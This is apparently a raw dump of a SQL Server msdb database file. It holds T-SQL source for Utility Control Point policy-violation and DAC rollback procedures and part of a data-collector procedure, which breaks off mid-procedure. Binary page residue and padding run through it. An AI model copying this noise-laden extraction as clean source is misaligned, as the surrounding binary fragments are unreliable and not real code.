	@zsysutility_ucp_mi_volume_space_health_internaldbomsdb0F!	@`fnsysutility_ucp_mi_health_internaldbomsdb0F!	@v|sysutility_ucp_aggregated_mi_health_internaldbomsdb0!	@x~sysutility_ucp_aggregated_dac_health_internaldbomsdb0!	ppsp_sysutility_ucp_calculate_computer_health0!	@jpxsp_sysutility_ucp_calculate_dac_healthdbomsdb0!	@x~sysutility_ucp_dac_file_space_health_internaldbomsdb0!	@`fnsysutility_ucp_mi_health_internaldbomsdb0!	@hnvsp_sysutility_ucp_calculate_mi_healthdbomsdb0!	@nt|sysutility_ucp_processing_state_internaldbomsdb0!	@sysutility_ucp_filegroups_with_policy_violations_internaldbomsdb0!		@v|sysutility_ucp_mi_file_space_health_internaldbomsdb0!
	@sp_sysutility_ucp_calculate_aggregated_dac_healthdbomsdb0!	@tzsysutility_ucp_computer_cpu_health_internaldbomsdb0!	`sp_sysutility_ucp_calculate_filegroups_with_policy_violationsdbo0!
	@bhpsysutility_ucp_dac_health_internaldbomsdb0!	`jpsp_sysutility_ucp_get_policy_violationsdbo0!	@rxsysutility_ucp_mi_database_health_internaldbomsdb0!	@~sp_sysutility_ucp_calculate_aggregated_mi_healthdbomsdb0!	@v|sysutility_ucp_aggregated_mi_health_internaldbomsdb0!	@zsysutility_ucp_mi_volume_space_health_internaldbomsdb0 "	@RX`sp_syspolicy_delete_policydbomsdb0 "	@6<Dsysjobs_viewdbomsdb0 "	@8>Fsp_delete_jobdbomsdb0 "	@RX`sp_syspolicy_add_conditiondbomsdb0 "	@NT\sp_syspolicy_mark_systemdbomsdb0 "	@6<Dsysschedulesdbomsdb0 "	@BHPsp_delete_scheduledbomsdb0 "	@lrzsysutility_ucp_health_policies_internaldbomsdb0 "		@X^fsp_syspolicy_delete_conditiondbomsdb0 "
	@V\dsp_sysutility_ucp_add_policydbomsdb0 "	@HNVsyspolicy_object_setsdbomsdb0 "	@BHPsyspolicy_policiesdbomsdb0 "
	@FLTsyspolicy_conditionsdbomsdb!!!!!!!!!!!!!!!!.<

@
2Z<&,
t
$
	x		(\HT0T$HHD8flt>VH`xOb02yOv,c&0!	@`fnsysutility_ucp_mi_health_internaldbomsdb0!	@zsysutility_ucp_mi_volume_space_health_internaldbomsdb0!	@nt|sysutility_ucp_processing_state_internaldbomsdb0+"	@syspolicy_policy_execution_history_details_internaldbomsdb0+"	@tzsyspolicy_policy_execution_history_internaldbomsdb0+"	@LRZsysutility_ucp_policiesdbomsdb0+"	@djrsysutility_ucp_policy_configurationdbomsdb0+"	`ntsysutility_ucp_policy_violations_internaldbo0+"	@nt|sysutility_ucp_processing_state_internaldbomsdb0`"	`Z`sp_sysdac_resolve_pending_entrydbo0`"	`^dsp_sysdac_rollback_committed_stepdbo0`"	pHsysdac_history_internal0`"	`JPsysdac_history_internaldbo0lu"	@TZbsystargetservergroupmembersdbomsdb0lu"	@HNVsystargetservergroupsdbomsdb0'%"	`\bfn_syscollector_get_package_pathdbo0'%"	`flsyscollector_collector_types_internaldbo0'%"	p8sysssispackages0 "	@8>Fsp_delete_jobdbomsdb0 "	@BHPsp_delete_scheduledbomsdb0 "	@RX`sp_syspolicy_add_conditiondbomsdb0 "		@X^fsp_syspolicy_delete_conditiondbomsdb0 "	@RX`sp_syspolicy_delete_policydbomsdb0 "	@NT\sp_syspolicy_mark_systemdbomsdb0 "
	@V\dsp_sysutility_ucp_add_policydbomsdb0 "	@6<Dsysjobs_viewdbomsdb0 "
	@FLTsyspolicy_conditionsdbomsdb0 "	@HNVsyspolicy_object_setsdbomsdb0 "	@BHPsyspolicy_policiesdbomsdb0 "	@6<Dsysschedulesdbomsdb0 "	@lrzsysutility_ucp_health_policies_internaldbomsdb05T#	`^dsp_sysdac_rollback_pending_objectdbo05T#	pHsysdac_history_internal0Ci#	@TZbsystargetservergroupmembersdbomsdb0Ci#	@HNVsystargetservergroupsdbomsdb0Ci#	@>DLsystargetserversdbomsdb0`I#	`TZsyscollector_collector_typesdbo0O$	@hnvsysutility_ucp_configuration_internaldbomsdb0O$	@nt|sysutility_ucp_processing_state_internaldbomsdb0g]$	@TZbsystargetservergroupmembersdbomsdb0g]$	@HNVsystargetservergroupsdbomsdb0 "	@Z`hsp_syspolicy_delete_object_setdbomsdb0 "	@LRZsp_syspolicy_add_policydbomsdb0 "	@`fnsp_syspolicy_add_target_set_leveldbomsdb0 "	@TZbsp_syspolicy_add_object_setdbomsdb0 "	@TZbsp_syspolicy_add_target_setdbomsdb0 "	@bhpsp_sysutility_ucp_calculate_healthdbomsdb0D#	`PVsp_syspolicy_delete_policydbo0D#	`4:sysjobs_viewdbo0D#	`v|sysutility_ucp_aggregated_dac_health_internaldbo0D#	`JPsysutility_ucp_policiesdbo0D#	`RXsyspolicy_target_set_levelsdbo0D#	`v|sysutility_ucp_dac_file_space_health_internaldbo0D#	@DJVxp_instance_regreaddbomaster0D#	`^dsysutility_ucp_mi_health_internaldbo0D#		`6<sp_delete_jobdbo0D#
	`FLsyspolicy_target_setsdbo0D#	`ntsysutility_ucp_policy_violations_internaldbo0D#	`lrsysutility_ucp_processing_state_internaldbo0D#
	`sysutility_ucp_filegroups_with_policy_violations_internaldbo0D#	`LRsp_syspolicy_mark_systemdbo0D#	`tzsysutility_ucp_mi_file_space_health_internaldbo0D#	`\bsysutility_ucp_managed_instancesdbo0D#	@FNjsource_info_internalcoresysutility_mdw0D#	`jpsysutility_ucp_health_policies_internaldbo0D#	`flsysutility_ucp_configuration_internaldbo0D#	`V\sp_syspolicy_delete_conditiondbo0D#	@NT`xp_instance_regdeletekeydbomaster0D#	`@Fsyspolicy_policiesdbo0D#	`X^sp_syspolicy_delete_object_setdbo0D#	`rxsysutility_ucp_computer_cpu_health_internaldbo0D#	@`fnfn_sysutility_get_is_instance_ucpdbomsdb0D#	@RXdxp_instance_regdeletevaluedbomaster0D#	`rxsysutility_ucp_snapshot_partitions_internaldbo0D#	``fsysutility_ucp_dac_health_internaldbo0D#	@Ntutility_objects_internalsysutility_ucp_miscsysutility_mdw0D#	`pvsysutility_ucp_mi_database_health_internaldbo0D#	`tzsysutility_ucp_aggregated_mi_health_internaldbo0D# 	`x~sysutility_ucp_mi_volume_space_health_internaldbo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0>|4V2X@:rh8L6f

B
4v&
|
8
	x		zPR`f&@dV`o<
Ny*30p6! 8
CREATE VIEW dbo.sysutility_ucp_policy_violations 
AS
    SELECT pv.health_policy_id
        , pv.policy_id
        , pv.policy_name
        , pv.history_id
        , pv.detail_id
        , pv.target_query_expression
        , pv.target_query_expression_with_id
        , pv.execution_date
        , pv.result
    FROM dbo.sysutility_ucp_policy_violations_internal pv
0	K! %8((0))0k! 8CREATE PROCEDURE [dbo].[sp_sysdac_rollback_committed_step]  
    @action_id INT,
    @sequence_id INT
AS  
SET NOCOUNT ON;
BEGIN  
    DECLARE @retval INT  

    DECLARE @null_column sysname    
    SET @null_column = NULL

    IF (@action_id IS NULL)
        SET @null_column = '@action_id'
    ELSE IF (@sequence_id IS NULL)
        SET @null_column = '@sequence_id'

    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_sysdac_rollback_committed_step')
        RETURN(1)
    END

    DECLARE @instance_id UNIQUEIDENTIFIER
    DECLARE @part_name NVARCHAR(128)
    DECLARE @action_type TINYINT
    DECLARE @dac_object_type TINYINT        
    DECLARE @action_status TINYINT
    DECLARE @dac_object_name_pretran SYSNAME
    DECLARE @dac_object_name_posttran SYSNAME
    DECLARE @sqlstatement NVARCHAR(1000)        

    SELECT @instance_id = instance_id, 
            @action_id = action_id, 
            @action_type = action_type, 
            @sequence_id = sequence_id,
            @dac_object_type = dac_object_type,
            @action_status = action_status, 
            @dac_object_name_pretran = dac_object_name_pretran, 
            @dac_object_name_posttran = dac_object_name_posttran
    FROM sysdac_history_internal
    WHERE action_id = @action_id AND sequence_id = @sequence_id
    
    --Below are the constants set based on history table    
    DECLARE @create TINYINT
    DECLARE @rename TINYINT
    DECLARE @register TINYINT
    DECLARE @database TINYINT
    DECLARE @rollback TINYINT
    DECLARE @rollback_pending TINYINT
    DECLARE @rollback_success TINYINT
    DECLARE @setreadonly TINYINT
    DECLARE @setreadwrite TINYINT

    SET @create = 1
    SET @rename = 2
    SET @register = 3
    SET @database = 2
    SET @rollback = 4
    SET @rollback_pending = 0
    SET @rollback_success = 1
    SET @setreadonly = 12
    SET @setreadwrite = 16
    
    IF @action_type = @create AND @dac_object_type = @database --database create
    BEGIN
        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_pending, NULL) WITH NOWAIT

        EXEC dbo.sp_sysdac_drop_database @database_name = @dac_object_name_pretran
        
        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_success, NULL) WITH NOWAIT
    END
    ELSE IF @action_type = @rename AND @dac_object_type = @database --database rename
    BEGIN
        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_pending, NULL) WITH NOWAIT

        EXEC dbo.sp_sysdac_rename_database @dac_object_name_posttran, @dac_object_name_pretran

        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_success, NULL) WITH NOWAIT
    END
    ELSE IF @action_type = @register --register DAC
    BEGIN
        SET @instance_id = (
            SELECT instance_id 
            FROM dbo.sysdac_instances_internal 
            WHERE instance_name = @dac_object_name_pretran)

        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_pending, NULL) WITH NOWAIT

        EXEC dbo.sp_sysdac_delete_instance @instance_id = @instance_id

        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_success, NULL) WITH NOWAIT
    END
    ELSE IF @action_type = @setreadonly  --readonly step
    BEGIN
        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_pending, NULL) WITH NOWAIT

        EXEC dbo.sp_sysdac_setreadonly_database @database_name = @dac_object_name_pretran, @readonly = 1

        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_success, NULL) WITH NOWAIT        
    END
    ELSE IF @action_type = @setreadwrite  --readonly step
    BEGIN
        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_pending, NULL) WITH NOWAIT

        EXEC dbo.sp_sysdac_setreadonly_database @database_name = @dac_object_name_pretran, @readonly = 0

        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_success, NULL) WITH NOWAIT        
    END
    
    --mark the entry as rolledback
    UPDATE sysdac_history_internal
    SET action_status = @rollback
    WHERE action_id = @action_id AND sequence_id = @sequence_id
    
    SELECT @retval = @@error
    RETURN(@retval)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"`<N-kB0" +8(getdate())0+" (8CREATE PROCEDURE dbo.sp_sysutility_ucp_get_policy_violations 
WITH EXECUTE AS OWNER
AS
BEGIN
    -- Clear the existing policy violations        
    TRUNCATE TABLE dbo.sysutility_ucp_policy_violations_internal
    
    -- Cache the latest policy violations for non-volatile resources
    -- The health state for non-volatile resource is determined based on 
    -- the latest policy violation against the target (file, volume) type.
    INSERT INTO dbo.sysutility_ucp_policy_violations_internal
    SELECT p.health_policy_id
        , p.policy_id
        , p.policy_name
        , d.history_id
        , d.detail_id
        , d.target_query_expression
        , d.target_query_expression_with_id
        , d.execution_date
        , d.result
    FROM msdb.dbo.sysutility_ucp_policies p
    INNER JOIN msdb.dbo.syspolicy_policy_execution_history_internal h 
        ON h.policy_id = p.policy_id
    INNER JOIN msdb.dbo.syspolicy_policy_execution_history_details_internal d 
        ON d.history_id = h.history_id
    WHERE p.resource_type = 1 -- Filter non-volatile resources (currently storage type only)   
        -- PBM stores the end_date in local time so convert the 'latest_processing_time' datetimeoffset to local datetime before compare
        AND h.end_date >= (SELECT CONVERT(DATETIME, latest_processing_time) FROM [msdb].[dbo].[sysutility_ucp_processing_state_internal]) 
        AND h.is_full_run = 1
        AND h.result = 0
        AND d.result = 0; 
        
    -- Get the policy evaluation count for volatile resources over the trailing window. 
    -- The health state for volatile resource is determined based on the policy 
    -- violation against the target (cpu) type over a trailing window and should
    -- exeed the occurrence frequency percent. E.g. a tartget can be considered
    -- as over utilized if its violating the policy for last 3 out of 4 evaluations
    -- (1 hour trailing window and 70 % occurrence frequency)    
    SELECT p.policy_id
          , MAX(h.end_date) execution_date
          , CASE WHEN 0 = COUNT(*) THEN 1 ELSE COUNT(*) END AS evaluation_count
          , p.utilization_type
          , p.health_policy_id
          , p.policy_name
          , pc.occurence_frequency
    INTO #policy_evaluations 
    FROM msdb.dbo.sysutility_ucp_policies p
    INNER JOIN msdb.dbo.syspolicy_policy_execution_history_internal h 
        ON p.policy_id = h.policy_id
    INNER JOIN msdb.dbo.sysutility_ucp_policy_configuration pc
        ON p.utilization_type = pc.utilization_type
    WHERE h.end_date >= DATEADD(MI, -60*pc.trailing_window, CURRENT_TIMESTAMP) 
        AND h.is_full_run = 1  
        AND p.resource_type = 3 -- Filter volatile resources (currently cpu type only)
    GROUP BY p.policy_id
        , p.utilization_type
        , p.health_policy_id
        , p.policy_name
        , pc.occurence_frequency;


    -- Get the policy violation count for the target types over the trailing window
    -- Note: 
    -- 1. If the trailing window is size increased, this computation will continue to
    -- use the exiting violations in the history against the newly configured window size. 
    -- It will only be effective after the full trailing window size is reached.
    -- 2. If the occurrence frequency is changed, it will be effective in the next run of the
    -- health state computation.
    SELECT p.policy_id
        , d.target_query_expression
        , COUNT(*) AS violation_count
        , MAX(h.history_id) as history_id
        , MAX(d.detail_id) AS detail_id
    INTO #policy_violations 
    FROM msdb.dbo.sysutility_ucp_policies p
    INNER JOIN msdb.dbo.syspolicy_policy_execution_history_internal h 
        ON p.policy_id = h.policy_id
    INNER JOIN msdb.dbo.syspolicy_policy_execution_history_details_internal d
        ON d.history_id = h.history_id 
    INNER JOIN msdb.dbo.sysutility_ucp_policy_configuration pc
        ON p.utilization_type = pc.utilization_type
    WHERE h.end_date >= DATEADD(MI, -60*pc.trailing_window, CURRENT_TIMESTAMP)			
        AND h.is_full_run = 1	
        AND h.result = 0
        AND d.result = 0
        AND p.resource_type = 3 -- Filter volatile resources (currently cpu type only)
    GROUP BY p.policy_id, d.target_query_expression;
    
    INSERT INTO dbo.sysutility_ucp_policy_violations_internal
    SELECT pe.health_policy_id
      , pe.policy_id
      , pe.policy_name
      , pv.history_id
      , pv.detail_id
      , pv.target_query_expression
      , N'' AS target_query_expression_with_id
      , pe.execution_date
      , 0 AS result
    FROM #policy_evaluations pe
    INNER JOIN #policy_violations pv 
        ON pe.policy_id = pv.policy_id
    WHERE pe.occurence_frequency <= ((pv.violation_count * 100) / pe.evaluation_count);
	        
END
0B@" +8(getdate())!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`,-<OW0m$ 08CREATE PROCEDURE [dbo].[sp_syscollector_create_collector_type]
    @collector_type_uid            uniqueidentifier = NULL OUTPUT,
    @name                        sysname,
    @parameter_schema            xml = NULL,
    @parameter_formatter        xml = NULL,
    @collection_package_id        uniqueidentifier,
    @upload_package_id            uniqueidentifier
AS
BEGIN
    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_create_collector_type
    ELSE
        BEGIN TRANSACTION
    BEGIN TRY

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_admin')
        RETURN (1)
    END

    SET @name                = NULLIF(LTRIM(RTRIM(@name)), N'')
    IF (@name IS NULL) 
    BEGIN
        RAISERROR(21263, -1, -1, '@name', @name)
        RETURN (1)
    END

    IF (@collector_type_uid IS NULL) 
    BEGIN
        SET @collector_type_uid = NEWID()
    END
    
    IF (NOT EXISTS(SELECT * from sysssispackages
        WHERE @collection_package_id = id))
    BEGIN
        DECLARE @collection_package_id_as_char VARCHAR(36)
        SELECT @collection_package_id_as_char = CONVERT(VARCHAR(36), @collection_package_id)
        RAISERROR(14262, -1, -1, '@collection_package_id', @collection_package_id_as_char)
        RETURN (1)
    END

    IF (NOT EXISTS(SELECT * from sysssispackages
        WHERE @upload_package_id = id))
    BEGIN
        DECLARE @upload_package_id_as_char VARCHAR(36)
        SELECT @upload_package_id_as_char = CONVERT(VARCHAR(36), @upload_package_id)
        RAISERROR(14262, -1, -1, '@upload_package_id', @upload_package_id_as_char)
        RETURN (1)
    END

    DECLARE @collection_package_name sysname
    DECLARE @collection_package_folderid uniqueidentifier
    DECLARE @upload_package_name sysname
    DECLARE @upload_package_folderid uniqueidentifier    

    SELECT 
        @collection_package_name = name,
        @collection_package_folderid = folderid
    FROM sysssispackages
    WHERE @collection_package_id = id

    SELECT 
        @upload_package_name = name,
        @upload_package_folderid = folderid
    FROM sysssispackages
    WHERE @upload_package_id = id

    DECLARE @schema_collection sysname
    IF (@parameter_schema IS NOT NULL)
    BEGIN
        SET @schema_collection = N'schema_collection_' + @name
